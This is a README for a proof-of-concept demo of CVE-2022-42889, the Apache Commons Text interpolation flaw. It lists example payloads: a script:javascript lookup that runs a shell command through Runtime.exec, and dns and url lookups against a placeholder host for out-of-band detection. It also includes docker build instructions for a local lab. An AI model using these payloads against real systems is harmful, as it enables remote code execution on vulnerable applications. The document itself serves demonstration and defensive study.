# CVE-2022-42889-POC
A simple demo application that shows how to exploit the CVE-2022-42889 vulnerability.   
Utilizes OOB (Out of Band) services to demonstrate dns and url prefixes.

JavaDocs for commons-text interpolation [commons-text JavaDocs](

Example interpolations
* script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
* dns ("${dns:address|HOST}")
* url ("${url:UTF-8:http://HOST")

Quote from Rapid7
>The vulnerability has been compared to Log4Shell since it is an open-source library-level vulnerability that is likely to impact a wide variety of software applications that use the relevant object.   
>However, initial analysis indicates that this is a bad comparison. The nature of the vulnerability means that unlike Log4Shell, it will be rare that an application uses the vulnerable component of Commons Text to process untrusted, potentially malicious input.
# Prerequisites
* docker
* java
* maven

Java and maven can be skipped if one fetch image from [Docker Hub](
# Usage

Build application
mvn clean package

Build docker image
docker build -t cve-2022-42889-poc .

Run docker image
docker run --rm -p 8081:8081 -t cve-2022-42889-poc

Access application and follow instructions
open http://localhost:8081

### More information
* [Rapid 7](